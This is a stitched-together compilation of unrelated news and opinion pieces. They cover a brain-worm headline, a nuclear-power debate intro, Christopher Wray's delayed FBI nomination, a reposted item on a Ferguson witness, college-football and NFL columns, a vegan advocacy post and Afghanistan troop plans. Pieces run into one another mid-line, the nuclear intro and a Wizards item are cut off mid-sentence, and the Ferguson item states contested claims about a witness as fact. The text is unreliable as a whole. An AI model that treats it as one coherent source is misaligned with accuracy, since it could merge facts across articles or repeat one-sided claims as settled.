Worm spends four years burrowing through man’s brain (but at least we’ve sequenced its genome)About 20 percent of the nation’s electricity is produced in the country’s 65 nuclear power plants. Unlike coal and natural gas, America’s top sources of electricity, nuclear power plants have near-zero carbon emissions. Their carbon footprints make nuclear reactors attractive, but the problems with producing electricity using nuclear technology—specifically, the threat of meltdowns and the disposal of spent, highly radioactive nuclear fuel—are well-known.
Public support for the once-burgeoning industry was seriously damaged by the catastrophic events at the Fukushima Daiichi nuclear power plant in Japan last March. In that incident, the plant lost electrical power following a tsunami, and three nuclear reactors experienced full meltdowns. A series of hydrogen explosions ripped through the facility, releasing radioactive material into the air, ground, and sea. The disaster at Fukushima was eventually classified as a level 7 incident—the highest possible level of alert—on the International Nuclear Event Scale.
In the United States, the Energy Department has designated $22.5 billion for nuclear industry projects as part of its renewable energy loan guarantee program. Proponents say the investment is overdue and point to nuclear energy as an effective, carbon-neutral way to produce energy. Opponents argue that those resources would be better spent elsewhere, and they worry that incidents like the one at Fukushima could be repeated on American soil.
Should nuclear power be expanded? Here’s the Debate Club’s take:Attorney Christopher Wray is on deck to become the next director of the Federal Bureau of Investigation, if the president ever gets around to nominating him.
President Donald Trump tweeted Wray was his pick on June 7, more than two weeks ago. A Senate Judiciary Committee spokesperson confirmed to The Daily Beast that the White House has not yet referred him to the Senate for confirmation, meaning he hasn’t been formally nominated.
It’s a delay that’s unusual, though not completely unheard-of. Experts on nominations said he probably was named prematurely because the White House was in a hurry to announce the FBI director–even though being named without being fully vetted puts the would-be director in an uncomfortable position.
“You usually don’t want to do it that way,” said Richard Painter, the ethics czar for George W. Bush’s White House. “If you make the announcement early, you take a risk.”
Michael Short, a spokesperson for the White House, defended the timing.
“Sorry was there a date that we said he’d be cleared by?” he emailed. “Otherwise I don’t know how you can say there is a ‘delay.’ The clearance process is very rigorous for a high-level position such as this. It takes as long as it takes.”
Bob Mueller was confirmed as FBI director one month after George W. Bush nominated him for the post. And the Senate confirmed Comey five weeks after Obama nominated him.
In fairness, the process for Wray was a bit backwards from the get-go.
Trump tweeted on June 7––the day before fired FBI director James Comey’s blockbuster Senate testimony––that he planned to nominate Wray for the job. And a host of media outlets, including Breitbart, Business Insider, and Al Jazeera, ran headlines saying the president had nominated him. But he hadn’t. A candidate hasn’t been nominated until the White House sends his or her paperwork to the Senate for confirmation. And it’s an important distinction, since we can’t be sure the White House has done all their homework on a would-be cabinet secretary, federal judge, or FBI director until they refer that person to the Senate.
Presidents normally like to keep their nominees under wraps until they have fully vetted them in case anything turns up in the FBI background check that precludes them from joining the administration. And by waiting to announce their nominees until they’re vetted, presidents give their opponents less time to dig up dirt on the people they pick. So that was the norm during the Bush and Obama administrations, according to people familiar with how those presidents handled confirmations.
But in the Trump era, things are different.
Matt Miller, a spokesperson for the Justice Department when Eric Holder was attorney general, said the delay in formally nominating Wray is likely because investigators haven’t finished running his background check and scrutinizing his financial disclosures––as Short indicated in his email.
“Usually that means you haven’t fully vetted the person and finished going through all the background checks you need to do,” Miller told The Daily Beast. “And given the way this White House works, it wouldn’t surprise anyone if they hadn’t fully vetted him by the time they made the announcement.”
In Wray’s case, a former White House lawyer pointed out that there were no good options. It took the White House a month after Comey’s firing to name Wray, even though Trump could have kept Comey in that role until finding his replacement. On May 13, four days after firing Comey, Trump told reporters on Air Force One that he might make a “fast decision” about his FBI director. He didn’t. And on May 18, the president said he was “very close” to naming Comey’s replacement. He wasn’t.
One retired FBI agent told The Daily Beast that the delay between firing Comey and naming Wray was “a joke” and “an insult to every FBI agent, current and former.”
And now, the fact that Wray hasn’t been formally nominated indicates that announcement was itself premature. There are reports that the president was in such a rush to name someone to take Comey’s spot that he didn’t give Congress or his staff a heads-up about it.
The fact that Trump announced Wray as his pick the day before Comey’s testimony drew immediate criticism, as it appeared he was trying to use the FBI announcement for political benefit. That was particularly troubling to federal law enforcement, who take pride in keeping their work separate from politics.
And now, the fact that Trump still hasn’t nominated Wray just underscores concerns that he’s already using the FBI for political ends.
“He talks, Trump does, about the premiere law enforcement agency in the world and yet -- I don’t know, I just don’t understand how he operates,” said a retired FBI agent.
“To me, it’s another example of the guy’s total lack of respect and understanding for the government operates,” he added.
Painter, who also also on the board of Citizens for Responsibility and Ethics in Washington, said the president’s premature announcement of Wray came so early because of the blowback he faced for firing Comey.
“The whole thing is tarnished,” he said.Dorian Johnson, the primary witness to the shooting of Michael Brown in Ferguson, has an outstanding warrant for a 2011 theft in Jefferson City and pleaded guilty for filing a false police report related to that theft.
{snip}
Johnson will be the star witness for any potential prosecution proceedings against Officer Darren Wilson for the shooting of Brown. Johnson was walking with Brown when the shooting occurred.
He has already done multiple media appearances where he falsely claimed Brown was shot by Wilson in the back. He also has claimed that Brown never reached for Wilson’s gun, was “shot like an animal” and that Brown had his hands up and told Wilson he was unarmed.
{snip}
The St. Louis Post-Dispatch has details about the 2011 charges against Johnson:
During the summer after his first semester at Lincoln, Johnson was charged with a misdemeanor after giving police a false first name after he was arrested on suspicion of theft. He later pleaded guilty. He was accused of stealing a package containing a backpack belonging to someone else from an apartment complex. When he was arrested in that case, he identified himself as Derrick Johnson and said he was 16. He is wanted for failing to appear in Jefferson City municipal court to answer to the theft charge, court officials said.
{snip}
Original Article
Share ThisLast week, we toasted the best of college football’s regular season. Today, we’re supplying the yang to that yin: the very worst of the year.
Worst Underachiever, Team: South Carolina
The Gamecocks began the season right where they’d ended each of the previous three: in the top 10, with visions of a long-awaited SEC championship looming just over the horizon. But that narrative died a swift and painful death on opening night, the casualty of a 52-28 ambush at the hands of Texas A&M, and yielded instead to a penchant for fourth-quarter flops. Against division rivals alone, the Gamecocks blew late, double-digit leads in losses to Missouri, Kentucky, and Tennessee, the last of which left even the Ol’ Ball Coach at a loss for words.
For the season, Carolina fielded the SEC’s most generous defense on a per-play basis, and capped its descent to 6-6 — its worst regular-season mark since 2007 — with a lopsided, 35-17 loss to in-state rival Clemson, whose starting quarterback happened to be a true freshman playing on a torn ACL. Uh, Coach?
Worst Underachiever, Individual: Oklahoma QB Trevor Knight
In retrospect, it was unfair to expect Knight to live up to the irrational exuberance that followed his breakout performance in Oklahoma’s Sugar Bowl win over Alabama, much less to elevate a guy with five career starts to the preseason short list for the Heisman. Despite the hype, 2014 Knight was barely distinguishable from the 2013 edition, when he struggled to hold down the starting job as a redshirt freshman: As a sophomore, he finished squarely in the middle of the pack among Big 12 starters in terms of passing efficiency, total offense, and almost every other relevant statistic before sitting out the last three games with a lingering neck injury. In Oklahoma’s three losses to ranked opponents (TCU, Kansas State, and Baylor), Knight threw an interception that led to an opposing touchdown in every game.
Worst In-Season Collapse by an Ostensibly Good Team (Tie): Oklahoma State and Notre Dame
More College Football Playoff QB Cardale Jones becomes a legend
Youth, growth fueled Buckeyes' win
What next for Oregon sans Mariota?
This is what we want football to be
Pigskin Pantheon: Title game awards
How Urban Meyer's offense evolved
Appreciating Oregon's infinity pond
Our Columbus locals talk Ohio State
Ohio State shocks no. 1 Alabama
Oregon Fells FSU in the Rose Bowl
The Meyer-Saban recruiting war
Bowl facts: Nuggets on each game
No. 1 Alabama’s path to the playoff
No. 2 Oregon’s path to the playoff
No. 3 Florida St.’s path to the playoff
No. 4 Ohio St.’s path to the playoff
Season superlatives: 2014 awards
Season demerits: the 2014 lowlights
More on the College Football Playoff Under Mike Gundy, Oklahoma State has consistently delivered one thing: points. From 2010 to 2013, the Cowboys averaged at least 39 points per game four years in a row. As of mid-October, OSU was riding a streak of 58 consecutive games with at least 20 points to its credit, and hadn’t given any indication of an impending crash en route to a 5-1 start. At that point, Oklahoma State was ranked 15th in the AP poll entering a crucial game against then–no. 12 TCU, and the bottom fell out: The Cowboys managed just nine points in a blowout loss in Fort Worth, and went on to score a grand total of 31 points in consecutive losses to West Virginia (34-10), Kansas State (48-14), and Texas (28-7). Amid their five-game losing streak, billionaire OSU booster T. Boone Pickens pointedly declined to register a vote of confidence in Gundy, while the coach reverted to form by getting testy with local reporters amid rumors that he’d begun looking for an escape route.
In the end, though, at least the Cowboys discovered a silver lining in true freshman quarterback Mason Rudolph, who improved OSU’s output against Baylor (a 49-28 loss) in his first start and subsequently led a 38-35 upset over Oklahoma. Notre Dame’s descent, on the other hand, was straight down, from a high of no. 5 in the AP poll in mid-October — remember, the Irish’s down-to-the-wire loss at Florida State on October 18 was a collision of undefeated, top-five contenders — to the depths of a four-game losing streak to close the year. In the finale, USC rang up 577 yards of total offense in a 49-14 massacre, making the Trojans the seventh consecutive opponent to hang at least 31 points on a debilitated Irish defense.
After that game, coach Brian Kelly declared “all jobs are available” during bowl prep. That could extend to quarterback, where once-celebrated junior Everett Golson struggled in the wake of minor shoulder surgery, getting benched against USC and fighting well-documented turnover problems (most notably coughing up five in a 55-31 loss at Arizona State) as the corresponding big plays dwindled. The Music City Bowl is a far cry from where the Irish thought they’d be six weeks ago, to say the least.
Worst Game: Wake Forest 6, Virginia Tech 3 (Double OT)
Every so often, a game comes along that’s so bad, so defiantly unwatchable, that it’s almost fascinating in its futility. This was not one of those games. From Virginia Tech’s perspective, the loss embodied all of the worst habits of the conservative “Beamer Ball” ethos, resulting in a mortifying slog against a hapless doormat. Anyone who happened to tune in and lost the remote or something witnessed the first scoreless tie in a regulation FBS game since 2005. In all, the Hokies and Demon Deacons combined for 18 punts, four turnovers, and four missed field goals, three of them by Wake Forest’s Mike Weaver, including a failed 37-yard attempt to win on the last play of regulation. (The miss inspired Frank Beamer’s jubilant, much-mocked reaction seen above.) But the Hokies couldn’t even get that far: Their only two trips inside the Demon Deacons’ 35-yard line resulted in a pair of lost fumbles.
Worst Play That Was Initially a Great Play: Utah WR Kaelin Clay
Clay had a career night in Utah’s November 8 date with Oregon, accounting for 331 all-purpose yards as a receiver and return man against the eventual Pac-12 champs. Unfortunately, he also immortalized himself on the all-time gaffe reel when, at the end of a 78-yard trek through the Ducks secondary, he inexplicably dropped the ball just short of the goal line. Note that I didn’t say he fumbled the ball. He just … dropped it.
The subsequent Oregon touchdown on the opposite end represented a 14-point swing in a game the Ducks would go on to win handily, 51-27. Hey, man, it happens to the best of them. It’s the dumbest possible mistake you can make on a football field, but it happens.
Worst Play by a Great Player: TCU QB Trevone Boykin
Boykin put together a phenomenal junior campaign, one good enough to earn him a fourth-place finish in the final Heisman vote, and it certainly didn’t hurt that no one managed to capture pro-quality footage of this ridiculous, off-the-crossbar gaffe in TCU’s September trip to SMU.
Of course, the apparent safety was negated by an offside penalty on the Mustangs, which is a perfect distillation of the kind of year it was for SMU (see below). The Horned Frogs won, 56-0, with Boykin accounting for 342 total yards and six touchdowns.
Worst Play, All Divisions: UMass in the Clutch
The situation: Massachusetts trailed Miami (Ohio) by one point, 42-41, with three seconds to play following a first-down completion to the Miami 6-yard line; the clock was momentarily stopped for the chains to reset, meaning all UMass quarterback Blake Frohnapfel had to do was hurry the offense to the line, take the snap, spike the ball, and wave on the kicker for a chip shot to win. Instead, well …
With that, the Minutemen inherited the nation’s longest active losing streak from Miami, in a game UMass led 41-14 in the first half. At least the distinction was brief: UMass went on to win three of its next four against the dregs of the Mid-American Conference, and Frohnapfel finished as the MAC’s leading passer in terms of yards per game. Maybe they’ll let him come back and make up the time management course next year.
Worst Hail Mary Defense: East Carolina
This was a banner year for improbable, last-ditch prayers: Arizona and Arizona State both won games on blind heaves as time expired against Cal and USC, respectively, and Central Florida did the same in its season-ending, league-championship-clinching comeback at ECU. After watching the Pirates rally from a 26-9 deficit in the fourth quarter to take a late lead, 30-26, UCF’s Justin Holman doused the comeback with a 51-yard bomb to Breshad Perriman on the final snap, cementing the Knights as cochampions of the American Athletic Conference.
Holman’s heave also met with what can be most generously described as token resistance from the East Carolina safeties, who misjudged everything — the timing of their jumps, the trajectory of the ball — so badly that Perriman was able to make the catch cleanly, with both feet on the ground, behind the entire secondary:
No. 39, DaShaun Amos, defended his apparent noneffort by explaining (via Twitter) that he was trying to avoid pass interference. Maybe. But even a 15-yard penalty would have been vastly preferable to the actual result.
Worst Loss: UConn 37, Central Florida 29
The only reason Central Florida had to share the AAC crown rather than claim the title outright was a truly bizarre setback at UConn on November 1, a result that makes no sense in any known dimension: In the end, it served as the Knights’ only conference loss and as the Huskies’ only conference win. It was also the only game in which UConn scored more than 21 points, and one of only two games in which UCF allowed more than 30. With a win, and a 10-2 record overall, the Knights might have challenged 11-2 Boise State for the major bowl slot reserved for the highest-rated Group of 5 champion. Instead, they’re bound for something called the Bitcoin St. Petersburg Bowl, and have no one to blame but themselves.
Worst Dressed: UCLA (for One Night Only)
Stephen Dunn/Getty Images
On most nights, UCLA looks as sharp as any outfit in the sport in its traditional gold-and-blue motif, which the Bruins get to wear only in the Rose Bowl, maybe half a dozen times a year. So why they’d opt to waste one of those opportunities on the charcoal-gray abominations they unveiled in a November 1 win over Arizona is beyond me. (My editor, too.) The standard response to that question usually invokes “recruiting,” as if 18-year-olds are so lacking in both taste and judgment that the school they choose might be influenced by the uniforms a given team wore that one time. Alabama, LSU, and Texas don’t seem to have any problem attracting recruits — neither does archrival USC, for that matter — and so far none of them would be caught dead decked out in an “alternate” color, especially one that barely even qualifies as a color. UCLA’s usual uniforms ain’t broke. Why try to fix them?
Worst Unit on an Otherwise Competent Team: Penn State’s Offensive Line
Penn State led the Big Ten in scoring defense, boasted a first-round talent at quarterback, and still finished in sixth place in the B1G East. How is that possible? Because the front five couldn’t block for shit: For the season, the Nittany Lions finished dead last in the league in both rushing offense and sacks allowed, both by significant margins. In Big Ten play, the ground game averaged just shy of 75 yards per game (including sacks) on 2.2 yards per carry, and the Lions failed to reach 20 points in regulation in a single conference game.
At their worst, near the end of a 29-6 debacle against Northwestern, a pair of hapless PSU linemen supplied the ultimate lowlight when they were caught blocking each other as tailback Bill Belton was dropped (again) for one of the Wildcats’ nine tackles for loss on the afternoon. Picture, thousand words, etc.
To be fair, everyone in and around the program knew full well that the O-line was going to be a mess well before the season began; a spring knee injury to senior Miles Dieffenbach left the Lions with a single returning starter up front (left tackle Donovan Smith) and a pair of freshly converted defensive linemen (Derek Dowrey and Brian Gaia) to fill the void at guard. But a performance as bad as the one that followed transcends injuries and NCAA-imposed scholarship cuts. By midseason, blue-chip sophomore Christian Hackenberg looked like a broken quarterback as Penn State limped to six losses in its last eight games, and by the end, the inevitable transfer rumors were beginning to swirl.
Worst Way to Lose: Washington State
In the waning hours of October 4, Washington State quarterback Connor Halliday set an NCAA record against Cal by single-handedly passing for 734 yards on 70 attempts … only to watch his team lose, 60-59, when kicker Quentin Breshears shanked a chip-shot, 19-yard field goal attempt in the closing seconds. This actually happened, exactly as described.
In fact, having watched this game unfold at the time, I would argue that it had to happen. Altogether, the Cougars and Bears combined for 1,401 yards of total offense, 60 first downs, 16 total touchdowns — 12 touchdowns in the second half alone — and 10 different players with at least five receptions apiece. The offenses, and the quarterbacks in particular, had their run of the place.
And yet: After Halliday passed Washington State into a first-and-goal opportunity at the Cal 4-yard line with 25 seconds remaining, the Cougars suddenly decided to play it safe, opting for back-to-back handoffs that failed to crack the goal line. Breshears came on for the decisive kick on third down, with 19 seconds to play, marking quite possibly the first time in his career that gonzo coach Mike Leach has deliberately taken the outcome out of his quarterback’s hands and put it on his kicker’s foot. It will probably (hopefully) be the last. His team’s total output of 812 yards stands as the highest from a losing team in FBS history.
Worst Moment by an Already Doomed Coach: Brady Hoke, Michigan
Four games into the season, Michigan had already suffered lopsided losses at the hands of Notre Dame and Utah, and patience in Ann Arbor was already frayed. But whatever thin veneer of sympathy may have remained for Brady Hoke evaporated in the fourth quarter of another fiasco-in-progress against Minnesota, when the embattled coach reinserted sophomore quarterback Shane Morris in a 30-7 game after Morris had limped off looking groggy and probably concussed, following a brutal hit by Minnesota’s Theiren Cockran. (After much public-relations rigmarole, Michigan eventually confirmed that Morris had suffered a “probable, mild concussion,” a weaselly, ass-covering concession that escalated an already volatile situation.) After the hit, Morris rose to his feet, nearly collapsed, and briefly had to be supported by his teammates, but somehow managed to wave off trainers and stay in the game to throw a near-interception on the following play.
At that point, Morris was (mercifully) replaced by the usual starter, Devin Gardner, who had remained nailed to the bench throughout another miserable performance by the offense. A few plays later, though, Gardner’s helmet popped off at the end of a tackle, requiring him to leave the field for a play. Accordingly, third-stringer Russell Bellomy moved to go in, only to be recalled in favor of Morris, whose prompt return on the heels of an obvious head injury was met with incredulity by ESPN’s commentators and much of the crowd in the Big House.
After the game, Morris left the field on a cart and Hoke set fire to the last shred of goodwill by professing ignorance as to his starting quarterback’s condition. That left two possible explanations for his decision — malevolent indifference or abject incompetence — both of which are (and proved to be) fireable offenses.
Hoke lasted two more months before being publicly fitted for the catapult, which was about a month longer than his unctuous boss, athletic director Dave Brandon, who resigned on Halloween as the most despised man in the state. After the Morris incident, though, it was never a question of if regime change was imminent, only of when.John Wall scored 52 points against the mediocre Orlando Magic on Tuesday. The Wizards still lost.
Bradley Beal has played in 85 percent of the Wizards’ games, is averaging 21 points, and shooting hot percentages. Otto Porter has a real case for Most Improved Player, averaging 14-8 with almost two steals, while shooting absurdly hot percentages.
The Wizards are 7-13. They are nearly as close to the 76ers in the standings as they are to the No. 8 seed.
How?
We’ve come to understand that a team’s fate rests largely on its three best players. You need stars to win in this league, and the quality of your top three “stars” dictates an outsized share of your overall quality.
Wall is a perennial All-Star and, in a world where there weren’t an inordinate number of legendary guards playing at the same time, he would also be an All-NBA contender. Beal has been crippled by odd injuries throughout his career, but that’s not been an issue this season. He’s played in 17 of the Wizards’ 20 games and done exactly what you expect: shoot the hell out of the ball. And Porter has |
12-2 record. Matthew Pearce/Icon Sportswire via Getty Images
1. I think these are my quick notes of analysis from Week 15:
a. Anyone want to bench Dak (32 of 36) Prescott now?
b. It’s bad enough that Jacksonville owner Shad Khan had to fired his head coach a week before Christmas. But now Khan also has to strongly consider getting a new quarterback after another dreadful performance by Blake Bortles in a game that Jacksonville never should have lost.
c. Speaking of bad quarterbacks in the Houston-Jacksonville game: I’m sure Bill O’Brien knows this, but Brock Osweiler has to be the backup quarterback to Tom Savage for however long this season lasts.
d. I think Jordy Nelson (82 catches, 1,037 yards, 12 TDs, coming off ACL surgery in 2015) might have earned the Comeback Player of the Year award with that bomb from Aaron Rodgers to beat the Bears.
e. We knew the Cardinals needed a new kicker, and we know they need a developmental quarterback, but the speed-burning of the secondary by Drew Brees and his receivers Sunday showed they also need at least one burner at cornerback.
f. The definition of a good backup quarterback: laying a ball thrown 46 yards in the air right into the hands of a wide receiver for a touchdown, which is what Matt Moore did for the Dolphins late in the first half Saturday night against the Jets.
g. No one talks about Giants nose tackle Damon Harrison much, but look at how the Giants’ run defense has improved: from 4.4 yards per rush by foes in 2015 to 3.6 this year.
h. The first two coach openings—Rams and Jags—will be very good news for the offensive coaches of America, particularly the coordinators in New England and Atlanta, and the head coach at Stanford, though David Shaw’s likely not ready to make the NFL move.
i. The Jets shouldn’t fire Todd Bowles for one major reason: It’s not his fault.
j. I cannot say the same thing about Rex Ryan, who just might be facing a must-win Saturday in a lost season against Miami at home.
2. I think I will not be remotely surprised if Tom Coughlin gets involved in the Buffalo job derby should Rex Ryan gets fired after his second Buffalo season. (Adam Schefter reported Sunday that it was possible.) Coughlin is the disciplinarian the Bills could use.
3. I think I am generally not a fan of referees being too wordy on replay reviews, but I really liked John Parry’s explanation on a call in the blue-painted San Diego end zone that was originally ruled an incomplete pass but was reversed on review on a very close boundary call. Said Parry: “After reviewing the play, the right foot was down with clear possession. Then the foot, the left foot, was down with a slice of blue between the heel and out of bounds. Touchdown.” Perfectly clear and perfectly explained.
4. I think the Giants deserve a significant fine for head coach Ben McAdoo using walkie-talkies during the game against Dallas to communicate (walkie-talkies are illegal because they can’t be shut off at the 15-second mark of the play clock, as the helmet-to-helmet communication is). But this isn’t a suspendable offense. It’s a move McAdoo should have known was a mistake, but using the device on four plays is not enough of a competitive advantage to suspend McAdoo, or to dock the Giants a draft choice or choices.
5. I think one of the notes of the week, one I hadn't thought of, came from Greg Auman of the Tampa Bay Times: Five heads of personnel entering the weekend on teams leading their divisions were products of the New England pipeline. Each of the franchise leaders got training from former Patriots head of personnel Scott Pioli before he left to be Kansas City’s GM in 2009—and, of course, from Bill Belichick. The five: Atlanta GM Thomas Dimitroff, Tampa Bay GM Jason Licht, Tennessee GM Jon Robinson, Detroit GM Bob Quinn, and the Patriots director of player personnel, Nick Caserio. That is downright amazing. Licht picked Jameis Winston. Robinson’s 2016 draft might have four cornerstone players, led by tackle Jack Conklin. Dimitroff nearly walked the plank after last season, but recent decisions—drafting Vic Beasley, signing Alex Mack in free agency—have stabilized the team. Quinn inherited a team losing a great receiver, Calvin Johnson, and signed a replacement, Marvin Jones, and drafted a very good tackle, Taylor Decker. Caserio’s a good lieutenant for Belichick, as Pioli was, and learned the business from the ground up in his early New England years. Pretty telling that half the division leaders in football got bred in one organization.
• THE GM SHORT LIST: Albert Breer on the top candidates for front-office openings in 2017
6. I think this is this week’s sign that Nobody Knows Nothin’ About the NFL: Philadelphia and Minnesota, on the morning of Oct. 15, were legitimate Super Bowl contenders. Combined record: 8-1. Since then, they’re 4-15.
7. I think I read the words “dodgeball” and “Pro Bowl” in a headline the other day, and I refused to read further. Now, had it been the headline in The Onion, I’d have devoured it.
8. I think I wonder why oh why oh why the players and the league continue to desperately try to make marketable an unwatchable event—the Pro Bowl. I know why: Because more fans would watch football players pretend to play than would watch Kansas and Kentucky play basketball on a winter Sunday evening.
9. I think I can’t indict the Jets for their Christian Hackenberg redshirt season, but he’s not even a candidate to play right now. I suppose I just have to have faith that Jets offensive coordinator Chan Gailey and coach Todd Bowles know what they’re doing, and that the patient GM, Mike Maccagnan, does too. But if the Jets use another high pick on a quarterback this year, it would be the fourth time in five years they used a pick in the top four rounds on a quarterback. So far:
Year Draftee Overall Pick 2016 Christian Hackenberg 51 2015 Bryce Petty 103 2013 Geno Smith 39
• CHRISTIAN HACKENBERG AND THE ROOKIE QB WAITING GAME: Jenny Vrentas on why the Jets are practicing patience with the Penn State product
10. I think these are my non-NFL thoughts of the week:
a. Story of the Week, by Evan Allen of the Boston Globe, about the scourge of heroin among young people, and the toll it takes on the extended family. An incredible profile of a family in crisis, with a brave mom, Bonnie Allen, who puts words to what so many families think: “Heroin is the worst thing in the world.”
b. I’ve really enjoyed reading Cam Cole in the Vancouver Sun and other outlets over the years. After 41 years in the business—and 33 Grey Cups, and 18 Super Bowls, and 16 Olympics—Cole retired the other day and wrote a terrific column about it.
c. Hey Sid Hartman, need any help with your column while you’re recovering from your broken hip? (Sid, the 96-year-old Minnesota legend, suffered the injury in a fall Friday night.) Feel for you. Wishing you the best. The Star Tribune won’t be the same until you return.
d. Football Story of the Week: By Jere Longman, of the New York Times, on a high school in Texas that had a tragic bus accident two weeks ago.
e. Talk about the power of high school football. That story by Longman is so good, and so illustrative of how the game can unite towns (plural) behind a grievous situation. “Football was big, but humanity was bigger,” school principal Jim Baum told Longman. So many good people in the world, and Longman finds a lot of them in this pocket of Texas.
f. Craig Graham Sager, who died last week at 65, can rest in peace knowing his legacy will live for decades. He did his job with verve, would not let leukemia ruin his love of life and left an incredible reputation in his wake.
g. I told you last week about Richard Sandomir, the veteran sports reporter and columnist for the New York Times, leaving the sports beat to write obituaries. (I think most people would say, Man, that’s a crappy trade.) But there’s some gravitas about writing obits for the paper of record. Here’s Sandomir on Sager.
h. Here’s Sandomir on a sitcom actor from “Bewitched” (or as we used to call the show as kids, “Webitched”). That’s the obit beat. Politician one day, scientist the next, sideline reporter the next, actor the next.
i. You see all those commercials for “The Man in the High Castle” over the past couple of weeks? NFL quiz: What NFL star says that’s his favorite TV show? Answer below.
j. I saw “Manchester By The Sea,” which is the most unrelentingly depressing movie I’ve seen in years. But it’s also very good. Casey Affleck is outstanding as a forever-affected dad-turned-guardian, and Michelle Williams, in far less screen time, portrays grief and a mother’s woe as well as it can be played. So those were good things. But wow, that was a Debbie Downer.
k. Last man out of the Red Sox bullpen, turn out the lights, or whatever the cliché befitting that unit of abandonment would be.
l. Seems a little small of Aroldis Chapman to burn Joe Maddon about his use in Games 5, 6, and 7 of the World Series on his way out the door.
m. Someone said to me the other day, when I commented on Twitter about The MMQB holiday party, that I should call it a Christmas party. Then what would the two Jewish people in the house think?
n. Coffeenerdness: Starbucks dropped the ball on the eggnog latte this year. Pretty inconsistent holiday drink over the years, and it’s weak and borderline tasteless this year.
o. Beernerdness: Tried the Drake’s Hefeweizen recently (Drake’s Brewery, San Leandro, Calif.). It’s no Allagash White, but it does have the light feel and strong witbier taste, improved by a small lemon slice.
p. I beg you, 1-877-Kars-4-Kids: Give me a new commercial. Give me anything. If I hear that jingle once more I’m going to be tempted to throw the flat screen out the window. Very tempted.
q. Mike Tirico had the line of the night Saturday during Dolphins-Jets, after a fumble forced by a Dolphin lineman’s hip: “This is of course the scene of the butt fumble.”
r. Quiz answer: Indianapolis quarterback Andrew Luck, who loves the show about what might have happened if the Nazis won World War II.
s. You will think this is partisan, and you are free to think what you wish. But it is a simple statement after the final press conference of the Barack Obama presidency: I’m going to miss the intelligent and well-reasoned and elegant discussions about the issues, the thoughtful way he answers questions and how he is pointed in a not-beating-you-over-the-head way when he has to be. I appreciate how he’s always brought a cool head and a degree of intelligence to whatever he discusses. I’ll miss that.
* * *
Who I Like Tonight
Washington 23, Carolina 13. As our Andy Benoit writes today at The MMQB, the Cam Newton season is one to forget—he’s the least accurate passer in the NFL this season, a year after being named MVP. It’s odd to see the difference in the two passers in this game, coming so soon after Newton’s coming-out party last year. Entering play Sunday, in rating, Kirk Cousins was sixth (100.3), Newton 28th (78.9). Passing yards: Cousins was third (4,045), Newton 24th (2,774). Accuracy, minimum 200 pass attempts: Cousins fifth (67.5 percent), Newton 31st (and last, at 53.5 percent). This game will be a good indication of where Washington is, and whether there’s much of a chance that as the sixth seed in the playoffs, the team can wreak any havoc on the road.
* * *
The Adieu Haiku
Hey there Kirk Cousins.
You’ve got three games to show Dan
He needs to pay you.
• Question or comment? Email us at talkback@themmqb.com.May 27, 2015
by Compassion Over Killing Staff
Have you noticed that vegan options are sprouting up everywhere? From Subway to White Castle to TCBY and so much more. Even Ikea is offering a vegan version of its popular Swedish meatballs and Wendy’s is now testing a veggie burger.
According to a recent restaurant industry publication, a recent survey concluded that “Millennials are increasingly interested in vegan cuisine, and more than 60 percent consume meat alternatives.”
The sale of meatless foods is soaring in the US – and there’s no sign of it slowing down.
As more consumers – meat-eaters and vegans alike – ask for plant-based options, a growing number of grocery stores and restaurants are responding. The easier it is to find vegan food, the easier it is to empower others to choose vegan food.
Here are 6 easy ways YOU can keep up the momentum and help get even more vegan options in the mainstream marketplace:
Feeling motivated to take the next step? SHARE this post empowering others to lend their voice to animals by asking companies to offer vegan options!KABUL — As the Trump administration nears a decision on whether to send several thousand more troops to Afghanistan, a move that could be announced at an upcoming NATO summit in Brussels, US military officials here say the plan would include sending hundreds of American Special Operations forces to train up to 17,000 new members of Afghan special forces, an elite group seen as key to beating back a growing Taliban insurgency.
The additional foreign troops would not be involved directly in combat, the officials said. But they believe a burst of intensive support for the struggling Afghan defense forces, with a focus on maximizing their best assets, could break the current stalemate in the 16-year war and improve chances for a peaceful settlement — without introducing an intrusive foreign military presence just two years after NATO combat troops withdrew.
‘‘The end state is reconciliation with the Taliban, not a return to an ISAF and American combat role against the Taliban,’’ said US Army Brigadier General Patrick J. Donahoe, referring to the International Security Assistance Force, the previous US-led NATO mission in Afghanistan. ‘‘We want the Afghan government to be in a position of authority when the talks start,’’ said Donahoe, a senior planner in Kabul for the current NATO mission, called Resolute Support.
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In describing their plans, US military officials here took pains to emphasize the limited size and role of any added forces, and they noted that only about half of the new troops would be Americans. The rest would from other countries that contribute to Resolute Support.
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Currently, the United States contributes about 6,700 of the 12,400 foreign troops here, followed by Germany, Italy, Georgia, and 35 other countries. The US portion is not likely to change, meaning that if 3,000 new troops were sent to Afghanistan, about 1,500 would be from the United States.
‘‘This is not going to be even a mini-surge,’’ said Navy Captain William Salvin, senior spokesman for the US military here. He said NATO officials have already approved more than 15,000 total slots for Resolute Support this year and that adding 3,000-plus would not pass that ceiling.
Resolute Support is separate from a US counterterrorism mission in which about 2,100 Special Operations forces fight alongside Afghan commandos in raids against Islamic State militants and other international fighters. That force is not expected to grow, and new service members who join Resolute Support would not be permitted to fight.
The current orders for Resolute Support are to ‘‘train, advise and assist’’ Afghan security forces, and that will not change with the addition of more troops, officials here said. Their short-term goal would be to improve the combat ability of Afghanistan’s 352,000-member security forces; the long-term aim would be to make them self-sufficient by 2020, a timetable set by Afghan President Ashraf Ghani.
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The immediate need, officials said, is to push back harder against the Taliban. The Islamist insurgents have been steadily gaining territory since the departure of most foreign troops at the end of 2014, causing record casualties among Afghan civilians and security forces, and repeatedly attacking scattered provincial capitals. Repeated efforts to hold peace talks with the Taliban have foundered.
Some Afghans have objected strongly to the possible deployment of more foreign troops, in part because their presence draws terrorist attacks and their permanent withdrawal has been a major demand by the Taliban. Ghani said recently that there is ‘‘no global appetite’’ and ‘‘no Afghan appetite’’ for the resumption of a large-scale foreign military presence, which peaked at more than 130,000 troops in 2012.
But the Afghan president has been working privately on the plan with General John W. Nicholson, the senior US commander here, who told the Senate Armed Services Committee in February that the Afghan war is ‘‘at a stalemate’’ and that ‘‘a few thousand’’ more troops are needed to help break it. Ghani has since said that the ‘‘numbers proposed are the right numbers,’’ and US military officials said key elements of Nicholson’s plan closely track Ghani’s concerns and suggestions.
There are no plans to build any new foreign military bases or compounds, or to have foreign troops stationed at dangerous remote outposts, as was often the case until 2014. The great majority would live at existing major US and foreign bases in Kabul and Bagram, a huge American compound and airfield north of the capital.
